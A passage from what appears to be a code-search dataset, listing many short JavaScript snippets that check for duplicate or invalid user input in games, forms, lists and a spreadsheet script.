count\n dupeCount++;\n }\n }\n \n Logger.log('This a duplicate 1: ' + isIndivDupe);\n Logger.log('The original Batch ID is: ' + origBatchId);\n \n if (isIndivDupe) {\n //get info about original submission using original batch ID\n \n var logSheetRows = logSheet.getLastRow() + 1;\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\n origRespLast = logSheet.getRange(logRow, 5).getValue();\n origRespName = origRespFirst + ' ' + origRespLast;\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\n origTime = logSheet.getRange(logRow, 1).getValue();\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \"M/d/yy 'at' h:mm a\");\n }\n }\n \n }\n \n }","function checkDuplicates(args) {\n const check = {}\n\n for (let val of args) {\n check[val] = (check[val] || 0) + 1\n }\n\n for (let key in check) {\n if (check[key] > 1) return true\n }\n\n return false\n}","function isDuplicates (alphabet) {\n let array = [];\n for (let i = 0; i < alphabet.length; i++) {\n if (array.includes (alphabet[i])) {\n return true;\n }\n array.push (alphabet[i]);\n }\n return false;\n }","function chkAns(){\n\tif(usrGss % 1 !== 0){\n\t\t//feedback when your user uses only text chars not number\n\t\t$(\"#newFdbk\").text(\"please input only numbers\");\n\t\treturn true;\n\t}\n\tif(usrGss < 0 || usrGss > 101){\n\t\t//feedback to the user if they use numbers beyond 100 o negative numbers\n\t\t$(\"#newFdbk\").text('Try a number between 0 and 100');\n\t\treturn true;\n\t}\n\tif(gssHsty.length > 0){\n\t\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\n\t\t\tif(usrGss == value){//compare the equality of each value in the array\n\t\t\t\tgssed = true;//set taht guessed value to true\n\t\t\t}\n\t\t}); \n\t}\n\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\n\t\tgssed = false;\n\t\t//if the user repeats any number, they will get this feedback\n\t\t$(\"#newFdbk\").text('You already used this number');\n\t\treturn true;\n\t}\nreturn false;\n}","submitWord(event) {\n event.preventDefault();\n let word = document.getElementById('inputBox').value.toLowerCase();\n document.getElementById('inputBox').value = '';\n if(/^[a-zA-Z]+$/.test(word)) {\n let submittedWords = this.state.submittedWords;\n if (!submittedWords.includes(word)) {\n answer(word);\n }\n }\n }","function isDuplicate(str) {\n for (i = 0; i < guessesSoFarArray.length; i++) {\n if (str === guessesSoFarArray[i]) {\n return true;\n } else { }\n } // end of for loop\n return false;\n} // end of isDuplicate()","function validateLetter (usersKeypress) {\n message.innerText = \"\";\n\n var repeatGuess = lettersGuessed.some(function(item){\n return item === usersKeypress;\n })\n\n //alert player if the above code is true.\n if (repeatGuess) {\n //alert(usersKeypress + \" already guessed. Try again!\");\n message.innerHTML = \"Already guessed that. Try again!\";\n\n //if it is not a repeat guess, check if it's in word\n } else {\n lettersGuessed.push(usersKeypress);\n console.log(\"Guessed so far\", lettersGuessed);\n\n //show user's input in browser\n showLettersGuessed();\n //is user's input a match to computer guess\n guessMatch(usersKeypress);\n }\n\n}"],"string":"[\n \"function checkIsDuplicatingInputs(numOfInputs) {\\n const InputsArr = [];\\n for (let i = 1; i <= numOfInputs; i++) {\\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\\n }\\n return InputsArr.length === new Set(InputsArr).size;\\n }\",\n \"function uniqueInput(input){\\n\\t\\tvar temp = 0;\\n\\t\\tfor(m=0; m < guessedLetters.length; m++) {\\n\\t\\t\\tif (guessedLetters[m] === input){\\n\\t\\t\\t\\ttemp++;\\n\\t\\t\\t\\t// log(\\\"Temp count: \\\" + temp);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (temp === 0){\\n\\t\\t\\tuniqueLetter = true;\\n\\t\\t\\t// alert(\\\"First Time\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t\\tguessedLetters.push(input);\\n\\t\\t}\\n\\t\\telse if(temp !== 0){\\n\\t\\t\\tuniqueLetter = false;\\n\\t\\t\\t// alert(\\\"Please Pick a new letter that you have not used before.\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t}\\n\\t}\",\n \"function duplicateChecker(input) {\\r\\n let duplicateSwitch = false;\\r\\n if (ul.children.length > 0) {\\r\\n for (let i = 0; i < ul.children.length; i++) {\\r\\n if (input.value === ul.children[i].children[0].textContent) {\\r\\n duplicateSwitch = true;\\r\\n break;\\r\\n };\\r\\n }\\r\\n }\\r\\n return duplicateSwitch;\\r\\n }\",\n \"function checkUserDuplicates(value) {\\n if (!userInputsArray.includes(value)) {\\n userInputsArray.push(value);\\n\\n return true;\\n }\\n\\n return false;\\n}\",\n \"function inputIsValid(){\\n\\tconsole.log(ul.children.length);\\n\\tif (input.value.length > 0)\\n\\t{\\n\\t\\tfor (i = 0, len = ul.children.length; i < len; i++) {\\t\\t\\t\\n\\t\\t\\t//
  • Notebook
  • \\n\\t\\t\\t// ul.children[i] = selected list item (textContent for above example = \\\"Notebook Delete\\\", so inspect span tag only)\\n\\t\\t\\t// ul.children[i].children[0] = span tag of the selected list item\\t\\t\\t\\n\\t\\t\\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\\n\\t\\t if (input.value.toLowerCase().trim() === entry) {\\n\\t\\t \\treturn false //don't add duplicate item\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tconsole.log(\\\"isValid\\\");\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"function DuplicateIn() {\\n\\n var formInvalid = false;\\n $('#register_form input').each(function() {\\n if ($(this).val() === '') {\\n formInvalid = true;\\n }\\n });\\n\\n if (formInvalid)\\n alert('One or Two fields are empty. Please fill up all fields');\\n}\",\n \"function appendListIfInputValid(input) {\\n // info: slice() slices the string and returns it starting from the given index\\n // toUpperCase() converts a string to uppercase letters.\\n // toLowerCase() converts a string to lowercase letters.\\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\\n\\n // appends list array and returns true if no duplicate or empty values else returns false\\n if (searchArrayForItem(list, input) == -1 && input != '') {\\n list.push([input, 'noCheck']);\\n return true;\\n } else return false;\\n}\",\n \"function addTokenGuard()\\n {\\n if(input.val() == '' || input.val() == undefined)\\n return true;\\n\\n // If the value already exists in the list then dont add it\\n var dirty = false;\\n list.children('li').each(function() {\\n if($(this).html() == input.val())\\n dirty = true;\\n });\\n\\n return dirty;\\n }\",\n \"function manage_user_input(){\\n let input = $(\\\"#user_input\\\").val().toUpperCase();\\n if(input.length > 0 && !all_user_input.includes(input)){\\n $(\\\"#game_message_p\\\").attr(\\\"hidden\\\",true);\\n $(\\\"#user_input\\\").val(\\\"\\\");\\n let isTarget = check_user_input(input);\\n store_user_input(input,isTarget);\\n } else {\\n $(\\\"#game_message_p\\\")\\n .text(\\\"Input too short (min length = 1) or you already tried this word.\\\")\\n .attr(\\\"hidden\\\",false);\\n }\\n}\",\n \"function addTo() { \\n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\\n playerChoice = parseInt(document.getElementById(\\\"userinput\\\").value);\\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\\n playerArray.push(playerChoice); \\n //highlights with an alert when the player has chosen all 6 numbers\\n if(playerArray.length == 6){\\n printNumbersPlayer()\\n alert(\\\"you have now chosen your 6 numbers!\\\");\\n }\\n\\n return false;\\n }\\n //this else statement posts an alert if a duplicate has been used\\n else {\\n alert(\\\"you have used a duplicate, try another number!\\\");\\n return false;\\n }\\n }\",\n \"function checkDuplicatePicklistValues(arr) {\\n\\tvar len=arr.length;\\n\\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\\n }\\n return [[...seen], input]\\n}\",\n \"function add(animals, animal) {\\n// takes an array of animals and an object representing a new animal\\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\\n \\n // if user types something into the fields\\n if (animal.name.length > 0 && animal.species.length > 0) {\\n // loop to check to see if the name exists \\n for (let i = 0; i < animals.length; i++) {\\n if (animal.name === animals[i].name) {\\n console.log (\\\"that animal exists\\\");\\n return;\\n } \\n }\\n animals.push(animal);\\n }\\n}\",\n \"checkUserInput() {\\r\\n const {\\r\\n drugId1, drugId2, sample, dataset,\\r\\n } = this.state;\\r\\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\\r\\n }\",\n \"function isDuplicateEntry(wslId) {\\r\\n\\t//alert(\\\"wslField = \\\" + wslField);\\r\\n\\tvar wslIdList = getMainView().forms[0].elements[wslField];\\r\\n\\t//alert(\\\"wslIdList = \\\" + wslIdList);\\r\\n\\tvar duplicate = false;\\r\\n\\t//alert(\\\"!wslIdList = \\\" + (!wslIdList));\\r\\n\\tif(!wslIdList) return false;\\r\\n\\t\\r\\n\\t//alert(\\\"wslIdList.length = \\\" + wslIdList.length);\\r\\n\\tif(wslIdList.length) {\\r\\n\\t\\t// there are more than one entry\\r\\n\\t\\tfor(var z=0; z 1) return true\\n }\\n return false;\\n}\",\n \"function removeDuplicates (input) {\\n\\t\\t\\tlet result = input.filter(function(item, pos) {\\n\\t\\t\\t\\treturn input.indexOf(item) == pos;\\n\\t\\t\\t});\\n\\t\\t\\treturn result\\n\\t\\t}\",\n \"function areThereDuplicates2() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n }\",\n \"function findDuplicate() {\\n\\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\\n var filteringModelsArray = _.uniq(modelsArray);\\n\\n return filteringModelsArray.length === modelsArray.length;\\n }\",\n \"function checkForDuplicates()\\r\\n\\t{\\r\\n\\tfor (i=0; i < activeClippings.length; i++)\\r\\n\\t\\t{\\r\\n\\t\\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function checkInput(guess) {\\n\\t\\tfor (var i = 1; i <= 4; i++) {\\n\\t\\t\\tvar inputnow = \\\"input\\\" + i;\\n\\t\\t\\t//console.log(inputnow);\\n\\t\\t\\tvar newNum = parseInt(document.getElementById(inputnow).value);\\n\\t\\t\\tconsole.log(newNum);\\n\\t\\t\\tif (isValid(newNum)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (checkNum(newNum, guess)) {\\n\\t\\t\\t\\t\\t// Good to go. \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"

    \\\" + newNum + \\\"Is a duplicate number. Fix it

    \\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"

    Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away

    \\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\\n\\t}\",\n \"function isDuplicate(name,phone,twitter){\\n\\tvar isduplicate=false; \\n\\t\\tfor(var i=0;i 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function handleSaveUrl() {\\n inputValue = input.value;\\n let checkUrl = arrWithUrl.includes(inputValue);\\n if(checkUrl) {\\n showModal();\\n modalContent.textContent = \\\"You have already saved this url\\\"; \\n } else {\\n arrWithUrl.push(inputValue);\\n setLocalStorage(arrWithUrl);\\n createUrlItem(inputValue);\\n }\\n form.reset();\\n}\",\n \"function validateNamesUnique() {\\n var i = 0;\\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\\n vm.paramsForm['name_' + i].$setValidity(\\n 'unique',\\n vm.parametersList.isNameUnique(modelValue)\\n );\\n i++;\\n }\\n }\",\n \"function areThereDuplicates() {\\n // console.log(arguments)\\n let counter = {};\\n for (let i=0; i< arguments.length; i++){\\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\\n if (counter[arguments[i]]) return true;\\n counter[arguments[i]] = 1;\\n // console.log(counter)\\n\\n }\\n return false;\\n}\",\n \"function checkDuplicatedNames() {\\n\\n for(var i = 0; i < productTable.length; i++)\\n {\\n if(productName.value == productTable[i].name) \\n {\\n productName.classList.add(\\\"is-invalid\\\");\\n productName.classList.remove(\\\"is-valid\\\");\\n\\n PNameAlert.classList.add(\\\"d-block\\\");\\n PNameAlert.classList.remove(\\\"d-none\\\");\\n\\n PNameAlert.innerHTML = \\\"Product Name Already Exists\\\";\\n\\n addBtn.disabled = true;\\n } \\n }\\n}\",\n \"function insertNum(){\\r\\n var win = true;\\r\\n for (var i = 0; i < numbers.length; i++) {\\r\\n userList[i] = Number(prompt(\\\"Inserisci il \\\"+ (i+1) +\\\"° numero\\\"));\\r\\n if (userList[i] === numbers[i]) {\\r\\n win *= true;\\r\\n }\\r\\n else{\\r\\n win = false;\\r\\n }\\r\\n }\\r\\n return win;\\r\\n}\",\n \"function getValue(input){\\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\\n if(operators2.includes(inputs[inputs.length-1]===true && input===\\\".\\\")){\\n console.log(\\\"Duplicat '.' \\\");\\n }\\n //if very first number is exactly = 1\\n else if(inputs.length===1 && operators1.includes(input)===false){\\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\\n inputs.push(input); \\n }\\n //if last thing was not an operator, go ahead and add that input to the array\\n //if last character was not an operator, add operator to the array\\n else if(operators1.includes(inputs[inputs.length-1])===false){\\n inputs.push(input);\\n }\\n //check to add a number..convert string to number\\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\\n else if(nums.includes(Number(input))){\\n //push input to end of array?\\n inputs.push(input);\\n }\\n //update function will update value at end of our list\\n update();\\n }\",\n \"function findDuplicateCharacters(input) {\\n}\",\n \"inNoOfShare() {\\n var flag = true;\\n var Noofshares = read.question(\\\"Enter how many shares you have \\\");\\n while (flag) {\\n\\n if (!isNaN(Noofshares)) {//for validate full name\\n flag = false;\\n } else {\\n var Noofshares = read.question(\\\"Wrong input !!!...Please enter No of shares in integer \\\");\\n }\\n }\\n return Noofshares;\\n }\",\n \"function hasElementsWithUniqueNames() {\\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\\n // Radio buttons have duplicate names.\\n .filter(field => field.type !== 'radio');\\n let problemFields = duplicates.map(field => stringifyElement(field));\\n // Deduplicate items with same tagName and id.\\n problemFields = [...new Set(problemFields)];\\n if (problemFields.length) {\\n const item = {\\n // description: 'Autocomplete values must be valid.',\\n details: 'Found fields in the same form with duplicate name attributes:
    • ' +\\n `${problemFields.join('
    • ')}`,\\n learnMore: 'Learn more: The input element name attribute',\\n title: 'Fields in the same form must have unique name values.',\\n type: 'error',\\n };\\n items.push(item);\\n }\\n}\",\n \"function validateInput(){\\n\\tvar api_key_input = $('#api-key-input');\\n\\tvar search_input = $('#summoner-name-input');\\n \\tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\\n\\t\\tvar selected = getSelectedOption();\\n\\t\\t//alert(empty_checker + ' | ' + selected);\\n\\t\\tif (selected == 'summary'){\\n\\t\\t\\tsearchSummonerStatsSummary();\\n\\t\\t} else {\\n\\t\\t\\tsearchSummonerStatsRanked();\\n\\t\\t}\\n\\t}\\n}\",\n \"function areThereDuplicates() {\\n if (arguments.length < 2) return false;\\n const counter = {};\\n for (let i = 0; i < arguments.length; i++) {\\n if (counter[arguments[i]]) {\\n return true;\\n } else {\\n counter[arguments[i]] = 1;\\n }\\n }\\n return false;\\n}\",\n \"function userInput(){ \\n everythingOk = false; \\n while(everythingOk === false){\\n // answer = inputLength(); \\n upCaseRslt = upCase();\\n lcase = lowCase(); \\n numAnsr = numOpt();\\n symbolAnswer = simbl(); \\n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\\n alert(\\\"at least one option must be checked in order to create password\\\"); \\n }else{ \\n everythingOk = true; \\n } \\n } \\n }\",\n \"function oneOfEach(sentence) {\\n let unique = [];\\n sentence = sentence.split('');\\n for(let i = 0; i < sentence.length; i++) {\\n if(!unique.includes(sentence[i])) {\\n unique.push(sentence[i]);\\n }\\n }\\n let newSentence = unique.join('');\\n return $('
  • ').text('No duplicates: ' + newSentence).appendTo('#outputs');\\n}\",\n \"function clickedScore() {\\n if (playerInitals.includes(nameSubmit.value)) {\\n alert(\\\"That inital already exist\\\");\\n } else if (\\n nameSubmit.value === \\\"\\\" ||\\n nameSubmit.value === null ||\\n nameSubmit.value === undefined\\n ) {\\n alert(\\\"Please enter valid initals\\\");\\n } else {\\n playerInitals.push(nameSubmit.value);\\n playerScores.push(score);\\n setLS();\\n matchHS();\\n viewHS();\\n }\\n}\",\n \"handleSubmit(event) {\\n event.preventDefault();\\n let symbol = event.target[0].value.trim();\\n if (symbol === '') {\\n alert('The input box was empty.');\\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\\n alert('This stock symbol has already been entered.');\\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\\n alert('That isn\\\\'t a valid stock symbol.');\\n } else {\\n let newSymbols = this.state.stockSymbols.slice();\\n newSymbols.push(symbol.toUpperCase());\\n this.setState({stockSymbols: newSymbols});\\n }\\n }\",\n \"function duplicateCheck() {\\n if(duplicateInput.checked) {\\n if (lengthInput.value.trim() <= 10) {\\n return(true)\\n }\\n else {\\n dupErrorString.textContent = \\\"You can only remove duplicates for a password of 10 or fewer characters\\\"\\n return(false)\\n }\\n }\\n else {\\n return(true)\\n }\\n}\",\n \"addSong(selectedSong){\\r\\n let newItem = this.userBand + \\\" - \\\" + selectedSong;\\r\\n //prevents adding of duplicate songs\\r\\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\\\"This song is already in the list\\\");\\r\\n }\",\n \"function readInput() {\\n clear(\\\"comparingDiv\\\")\\n\\n input1 = document.getElementById(\\\"searchbox1\\\").value;\\n input2 = document.getElementById(\\\"searchbox2\\\").value;\\n\\n var list = educationInterface.getIDs();\\n\\n if (!list.includes(input1) || !list.includes(input2)) \\n comparingDiv.appendChild(document.createTextNode(\\\"Invalid input. Please check that both field contain valid ids.\\\"));\\n else \\n createComparisionTables(input1.toString(), input2.toString());\\n\\n return false;\\n}\",\n \"inStockName() {\\n var name = read.question(\\\"Enter the name of stock \\\");\\n var flag = true;\\n while (flag) {//for validating inputs\\n\\n if (isNaN(name)) {//for validate the name \\n flag = false;\\n } else {\\n var name = read.question(\\\"Wrong input !!!...Please enter correct name of Stack \\\");\\n }\\n }\\n return name;\\n }\",\n \"function duplicateChars(letter) {\\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\\n warning = \\\"YOU ALREADY GUESSED THAT LETTER!\\\";\\n warningElement.innerHTML = warning;\\n }\\n}\",\n \"function duplicateFinder(word, inputValueArr, currentKey) {\\n console.log(\\\"word, inputValueArr, currentKey\\\", word, inputValueArr, currentKey);\\n\\n for (let i = 0; i < inputValueArr.length; i++) {\\n //exclude checking the current index while finding duplicates.\\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\\n if (currentKey != i && word === inputValueArr[i]) {\\n return true;\\n }\\n\\n }\\n return false;\\n}\",\n \"function checkInput() {\\n if (attempts > 0) {\\n let counter = 0;\\n\\n for (let toValidate of domList.children) {\\n let li = toValidate;\\n let wordChar = li.getAttribute(\\\"data-char\\\").toLowerCase();\\n let pChar = toValidate.querySelector(\\\"p\\\");\\n\\n if (wordChar === inputChar) {\\n counter = counter + 1;\\n pChar.classList.remove(\\\"hidden\\\");\\n }\\n }\\n let check = wrongKeys.includes(inputChar);\\n\\n if (counter === 0 && check === false) {\\n wrongKeys.push(inputChar);\\n displayWrongKeys();\\n }\\n }\\n countWrongAttempts();\\n}\",\n \"addEntry() {\\n let candidateName = this.state.newEntryName\\n let temp = this.state.pieData\\n let newId = this.generateId()\\n\\n //Avoiding empty labels\\n if(candidateName === ''){\\n alert(\\\"Please insert an entry name\\\")\\n } \\n else{\\n\\n //Ensuring that the label is unique by going through all labels in pie data..\\n for(var i = 0; i < temp.length; i++){\\n\\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \\n if(temp[i].label === candidateName){\\n alert(\\\"This entry already exists. Please enter a unique entry name.\\\");\\n document.getElementById('newEntry').value = '';\\n return\\n }\\n }\\n\\n //If there are no errors, the entry object is pushed into pieData.\\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\\n this.setState({\\n pieData: temp,\\n newEntryName: ''\\n })\\n //Reset the data from the input\\n document.getElementById('newEntry').value = '';\\n }\\n }\",\n \"function combinedArray() {\\n var userName = prompt(\\\"Please enter a name\\\", \\\"Enter name here\\\");\\n var nameSearch = allNames.lastIndexOf(userName);\\n if (nameSearch > 0) {\\n alert(\\\"Your name is in the array\\\")\\n }\\n else {\\n alert(\\\"Your name is NOT in the array\\\")\\n }\\n}\",\n \"function areThereDuplicates() {\\n let freqCounter = {};\\n for(let i = 0; i < arguments.length; i++){\\n if(freqCounter[arguments[i]]){\\n return true;\\n } else {\\n freqCounter[arguments[i]] = true;\\n }\\n }\\n return false;\\n}\",\n \"function validateUnique(threeArray){\\n for(var i = 0; i < threeArray.length; i ++){\\n for(var v = 0; v < lastItemsSeen.length; v++){\\n if(threeArray[i].product === lastItemsSeen[v].product){\\n \\n return false;\\n \\n }\\n }\\n return true;\\n }\\n}\",\n \"function userInput() {\\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\\n checkedLower = window.confirm('Do you want Lower Case Letters?');\\n checkedNumbers = window.confirm('Do you want Numbers?');\\n checkedSpecial = window.confirm('Do you want Special Characters?');\\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\\n alert(\\\"Must choose at least one\\\");\\n userInput();\\n }\\n}\",\n \"function areThereDuplicates() {\\n let collection = {};\\n for (let val in arguments) {\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\\n }\\n for (let key in collection) {\\n if (collection[key] > 1) return true;\\n }\\n return false;\\n}\",\n \"function checkUserInput(){\\n\\t\\t//check if title name is inputted\\n\\t\\tif (!$(element).find('input[id=edit_title_name]').val()){\\n\\t\\t\\talert (\\\"Please input the test's title name\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if test type is selected\\n\\t\\tif (!$('#edit_test_type').val()){\\n\\t\\t\\talert (\\\"Please choose the test type\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if total question number is inputted correctly\\n\\t\\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\\n\\t\\t\\talert (\\\"Please input correct number in total main question number\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check in each question set...\\n\\t\\tnGroups = $(element).find('input[id=edit_total_question]').val();\\n\\t\\tfor (var i=1;i<=nGroups;i++){\\n\\t\\t\\t//check if sub question number is inputted correctly\\n\\t\\t\\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\\n\\t\\t\\t\\talert (\\\"Please input correct number in total sub question number for Q\\\" + i);\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t//check in each question...\\n\\t\\t\\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\\n\\t\\t\\tfor (var j=1;j<=total_sub_question;j++){\\n\\t\\t\\t\\t//check question content or picture is inputted\\n\\t\\t\\t\\tif (!$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + '_pic]').val()){\\n\\t\\t\\t\\t\\talert (\\\"Please input a question content or picture on Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\t\\t\\t\\t\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//check learning object link and name are inputted.\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object link for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object name for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//variable to check for checkbox (correct answer)\\n\\t\\t\\t\\tvar isChecked = false;\\t\\n\\t\\t\\t\\t//check for each answer...\\n\\t\\t\\t\\tfor (var k=1;k<=4;k++){\\n\\t\\t\\t\\t\\t//check answer content is inputted\\n\\t\\t\\t\\t\\tif (!$(element).find('input[name=answer' + i + '\\\\\\\\.'+ j + '_'+ k + ']').val()){\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input an answer for Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t//check if one of checkboxes is selected \\n\\t\\t\\t\\t\\tif ( $(element).find('input[id=answer' + i + '\\\\\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\\n\\t\\t\\t\\t\\t\\tisChecked = true;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//if no checkbox is selected\\n\\t\\t\\t\\tif (!isChecked){\\n\\t\\t\\t\\t\\talert (\\\"Please select one correct answer in Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\t\\t\\n }\\n\\t\\treturn true;\\n\\t}\",\n \"function checkInput(){\\n if(isNaN(userGuess)) {\\n alert(\\\"Please enter a number from 1 - 100!\\\");\\n } else if(userGuess === \\\" \\\") {\\n alert(\\\"Well, you have to input a number\\\");\\n } else if (userGuess < 0 || userGuess > 100) {\\n alert(\\\"Plese enter a number from 1 - 100!\\\");\\n } else {\\n comparisonAmount();\\n console.log(\\\"User guess = \\\" + userGuess);\\n $('#userGuess').val('');\\n guessCount++;\\n setCount(guessCount);\\n $('ul#guessList').append(\\\"
  • \\\" + userGuess + \\\"
  • \\\");\\n }\\n}\",\n \"checkIfUnique(name, value, signal) {\\n if (name === 'password' || name === 'confirmPassword') return;\\n return this.getAll(signal)\\n .then(users => {\\n return users.find(user => user[name] === value)\\n })\\n .then(user => {\\n let message = '';\\n if (user !== undefined){\\n message = `This ${name} has already been used.`; \\n } \\n return this.setError(name, message); \\n });\\n }\",\n \"function checkDuplicate()\\n {\\n var found = false;\\n for (var i = 0; i < $scope.list.length; i++)\\n {\\n if ($scope.list[i].item == $scope.item)\\n {\\n found = true;\\n }\\n }\\n return found;\\n }\",\n \"function areThereDuplicates() {\\n let args = [...arguments];\\n const argsList = {}\\n for(let i = 0; i< args.length; i++){\\n let currentArg = args[i];\\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\\n }\\n for (let two in argsList) {\\n if (argsList[two] > 1) {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"handleSubmit(e) {\\n e.preventDefault();\\n let firstValue, secondValue;\\n const [firstInput, secondInput] = e.target.elements;\\n firstValue = firstInput.value.trim().split(' ').join('');\\n secondValue = secondInput.value.trim().split(' ').join('');\\n\\n this.checkValues(firstValue,secondValue);\\n\\n firstInput.value = '' ;\\n secondInput.value = '' ;\\n firstInput.focus();\\n\\n }\",\n \"function checkEntry() {\\n while 